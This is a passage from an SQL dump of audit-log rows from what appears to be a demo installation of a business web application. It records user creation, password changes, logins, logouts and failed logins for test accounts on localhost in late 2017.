Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(594,'2017-10-05 07:07:52','USER_NEW_PASSWORD',1,'2017-10-05 09:07:52',1,'Password change for atheceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(595,'2017-10-05 07:09:08','USER_NEW_PASSWORD',1,'2017-10-05 09:09:08',1,'Password change for aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(596,'2017-10-05 07:09:08','USER_MODIFY',1,'2017-10-05 09:09:08',1,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(597,'2017-10-05 07:09:46','USER_CREATE',1,'2017-10-05 09:09:46',1,'User admin created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(598,'2017-10-05 07:09:46','USER_NEW_PASSWORD',1,'2017-10-05 09:09:46',1,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(599,'2017-10-05 07:10:20','USER_MODIFY',1,'2017-10-05 09:10:20',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(600,'2017-10-05 07:10:48','USER_MODIFY',1,'2017-10-05 09:10:48',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(601,'2017-10-05 07:11:22','USER_NEW_PASSWORD',1,'2017-10-05 09:11:22',1,'Password change for bbookkeeper','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(602,'2017-10-05 07:11:22','USER_MODIFY',1,'2017-10-05 09:11:22',1,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(603,'2017-10-05 07:12:37','USER_MODIFY',1,'2017-10-05 09:12:37',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(604,'2017-10-05 07:13:27','USER_MODIFY',1,'2017-10-05 09:13:27',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(605,'2017-10-05 07:13:52','USER_MODIFY',1,'2017-10-05 09:13:52',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(606,'2017-10-05 07:14:35','USER_LOGOUT',1,'2017-10-05 09:14:35',1,'(UserLogoff,aeinstein)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(607,'2017-10-05 07:14:40','USER_LOGIN_FAILED',1,'2017-10-05 09:14:40',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(608,'2017-10-05 07:14:44','USER_LOGIN_FAILED',1,'2017-10-05 09:14:44',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(609,'2017-10-05 07:14:49','USER_LOGIN',1,'2017-10-05 09:14:49',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(610,'2017-10-05 07:57:18','USER_MODIFY',1,'2017-10-05 09:57:18',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(611,'2017-10-05 08:06:54','USER_LOGOUT',1,'2017-10-05 10:06:54',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(612,'2017-10-05 08:07:03','USER_LOGIN',1,'2017-10-05 10:07:03',11,'(UserLogged,atheceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(613,'2017-10-05 19:18:46','USER_LOGIN',1,'2017-10-05 21:18:46',11,'(UserLogged,atheceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(614,'2017-10-05 19:29:35','USER_CREATE',1,'2017-10-05 21:29:35',11,'User ccommercy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(615,'2017-10-05 19:29:35','USER_NEW_PASSWORD',1,'2017-10-05 21:29:35',11,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(616,'2017-10-05 19:30:13','GROUP_CREATE',1,'2017-10-05 21:30:13',11,'Group Commercial created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(617,'2017-10-05 19:31:37','USER_NEW_PASSWORD',1,'2017-10-05 21:31:37',11,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(618,'2017-10-05 19:31:37','USER_MODIFY',1,'2017-10-05 21:31:37',11,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(619,'2017-10-05 19:32:00','USER_MODIFY',1,'2017-10-05 21:32:00',11,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(620,'2017-10-05 19:33:33','USER_CREATE',1,'2017-10-05 21:33:33',11,'User sscientol created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(621,'2017-10-05 19:33:33','USER_NEW_PASSWORD',1,'2017-10-05 21:33:33',11,'Password change for sscientol','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(622,'2017-10-05 19:33:47','USER_NEW_PASSWORD',1,'2017-10-05 21:33:47',11,'Password change for mcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(623,'2017-10-05 19:33:47','USER_MODIFY',1,'2017-10-05 21:33:47',11,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(624,'2017-10-05 19:34:23','USER_NEW_PASSWORD',1,'2017-10-05 21:34:23',11,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(625,'2017-10-05 19:34:23','USER_MODIFY',1,'2017-10-05 21:34:23',11,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(626,'2017-10-05 19:34:42','USER_MODIFY',1,'2017-10-05 21:34:42',11,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(627,'2017-10-05 19:36:06','USER_NEW_PASSWORD',1,'2017-10-05 21:36:06',11,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(628,'2017-10-05 19:36:06','USER_MODIFY',1,'2017-10-05 21:36:06',11,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(629,'2017-10-05 19:36:57','USER_NEW_PASSWORD',1,'2017-10-05 21:36:57',11,'Password change for atheceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(630,'2017-10-05 19:36:57','USER_MODIFY',1,'2017-10-05 21:36:57',11,'User atheceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(631,'2017-10-05 19:37:27','USER_LOGOUT',1,'2017-10-05 21:37:27',11,'(UserLogoff,atheceo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(632,'2017-10-05 19:37:35','USER_LOGIN_FAILED',1,'2017-10-05 21:37:35',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(633,'2017-10-05 19:37:39','USER_LOGIN_FAILED',1,'2017-10-05 21:37:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(634,'2017-10-05 19:37:44','USER_LOGIN_FAILED',1,'2017-10-05 21:37:44',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(635,'2017-10-05 19:37:49','USER_LOGIN_FAILED',1,'2017-10-05 21:37:49',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(636,'2017-10-05 19:38:12','USER_LOGIN_FAILED',1,'2017-10-05 21:38:12',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(637,'2017-10-05 19:40:48','USER_LOGIN_FAILED',1,'2017-10-05 21:40:48',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(638,'2017-10-05 19:40:55','USER_LOGIN',1,'2017-10-05 21:40:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(639,'2017-10-05 19:43:34','USER_MODIFY',1,'2017-10-05 21:43:34',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(640,'2017-10-05 19:45:43','USER_CREATE',1,'2017-10-05 21:45:43',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(641,'2017-10-05 19:45:43','USER_NEW_PASSWORD',1,'2017-10-05 21:45:43',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(642,'2017-10-05 19:46:18','USER_DELETE',1,'2017-10-05 21:46:18',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(643,'2017-10-05 19:47:09','USER_MODIFY',1,'2017-10-05 21:47:09',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(644,'2017-10-05 19:47:22','USER_MODIFY',1,'2017-10-05 21:47:22',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(645,'2017-10-05 19:52:05','USER_MODIFY',1,'2017-10-05 21:52:05',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(646,'2017-10-05 19:52:23','USER_MODIFY',1,'2017-10-05 21:52:23',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(647,'2017-10-05 19:54:54','USER_NEW_PASSWORD',1,'2017-10-05 21:54:54',12,'Password change for zzeceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(648,'2017-10-05 19:54:54','USER_MODIFY',1,'2017-10-05 21:54:54',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(649,'2017-10-05 19:57:02','USER_MODIFY',1,'2017-10-05 21:57:02',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(650,'2017-10-05 19:57:57','USER_NEW_PASSWORD',1,'2017-10-05 21:57:57',12,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(651,'2017-10-05 19:57:57','USER_MODIFY',1,'2017-10-05 21:57:57',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(652,'2017-10-05 19:59:42','USER_NEW_PASSWORD',1,'2017-10-05 21:59:42',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(653,'2017-10-05 19:59:42','USER_MODIFY',1,'2017-10-05 21:59:42',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(654,'2017-10-05 20:00:21','USER_MODIFY',1,'2017-10-05 22:00:21',12,'User adminx modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(655,'2017-10-05 20:05:36','USER_MODIFY',1,'2017-10-05 22:05:36',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(656,'2017-10-05 20:06:25','USER_MODIFY',1,'2017-10-05 22:06:25',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(657,'2017-10-05 20:07:18','USER_MODIFY',1,'2017-10-05 22:07:18',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(658,'2017-10-05 20:07:36','USER_MODIFY',1,'2017-10-05 22:07:36',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(659,'2017-10-05 20:08:34','USER_MODIFY',1,'2017-10-05 22:08:34',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(660,'2017-10-05 20:47:52','USER_CREATE',1,'2017-10-05 22:47:52',12,'User cc1 created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(661,'2017-10-05 20:47:52','USER_NEW_PASSWORD',1,'2017-10-05 22:47:52',12,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(662,'2017-10-05 20:47:55','USER_LOGOUT',1,'2017-10-05 22:47:55',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(663,'2017-10-05 20:48:08','USER_LOGIN',1,'2017-10-05 22:48:08',11,'(UserLogged,zzeceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x434','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(664,'2017-10-05 20:48:39','USER_CREATE',1,'2017-10-05 22:48:39',11,'User cc2 created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(665,'2017-10-05 20:48:39','USER_NEW_PASSWORD',1,'2017-10-05 22:48:39',11,'Password change for cc2','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(666,'2017-10-05 20:48:59','USER_NEW_PASSWORD',1,'2017-10-05 22:48:59',11,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(667,'2017-10-05 20:48:59','USER_MODIFY',1,'2017-10-05 22:48:59',11,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(668,'2017-10-05 21:06:36','USER_LOGOUT',1,'2017-10-05 23:06:35',11,'(UserLogoff,zzeceo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(669,'2017-10-05 21:06:44','USER_LOGIN_FAILED',1,'2017-10-05 23:06:44',NULL,'Bad value for login or password - login=cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(670,'2017-10-05 21:07:12','USER_LOGIN_FAILED',1,'2017-10-05 23:07:12',NULL,'Bad value for login or password - login=cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(671,'2017-10-05 21:07:19','USER_LOGIN_FAILED',1,'2017-10-05 23:07:19',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(672,'2017-10-05 21:07:27','USER_LOGIN_FAILED',1,'2017-10-05 23:07:27',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(673,'2017-10-05 21:07:32','USER_LOGIN',1,'2017-10-05 23:07:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(674,'2017-10-05 21:12:28','USER_NEW_PASSWORD',1,'2017-10-05 23:12:28',12,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(675,'2017-10-05 21:12:28','USER_MODIFY',1,'2017-10-05 23:12:28',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(676,'2017-10-05 21:13:00','USER_CREATE',1,'2017-10-05 23:13:00',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(677,'2017-10-05 21:13:00','USER_NEW_PASSWORD',1,'2017-10-05 23:13:00',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(678,'2017-10-05 21:13:40','USER_DELETE',1,'2017-10-05 23:13:40',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(679,'2017-10-05 21:14:47','USER_LOGOUT',1,'2017-10-05 23:14:47',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(680,'2017-10-05 21:14:56','USER_LOGIN',1,'2017-10-05 23:14:56',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(681,'2017-10-05 21:15:56','USER_LOGOUT',1,'2017-10-05 23:15:56',16,'(UserLogoff,cc1)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(682,'2017-10-05 21:16:06','USER_LOGIN',1,'2017-10-05 23:16:06',17,'(UserLogged,cc2) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(683,'2017-10-05 21:37:25','USER_LOGOUT',1,'2017-10-05 23:37:25',17,'(UserLogoff,cc2)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(684,'2017-10-05 21:37:31','USER_LOGIN',1,'2017-10-05 23:37:31',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(685,'2017-10-05 21:43:53','USER_LOGOUT',1,'2017-10-05 23:43:53',16,'(UserLogoff,cc1)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(686,'2017-10-05 21:44:00','USER_LOGIN',1,'2017-10-05 23:44:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(687,'2017-10-05 21:46:17','USER_LOGOUT',1,'2017-10-05 23:46:17',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(688,'2017-10-05 21:46:24','USER_LOGIN',1,'2017-10-05 23:46:24',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(689,'2017-11-04 15:17:06','USER_LOGIN',1,'2017-11-04 16:17:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(690,'2017-11-15 22:04:04','USER_LOGIN',1,'2017-11-15 23:04:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(691,'2017-11-15 22:23:45','USER_MODIFY',1,'2017-11-15 23:23:45',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(692,'2017-11-15 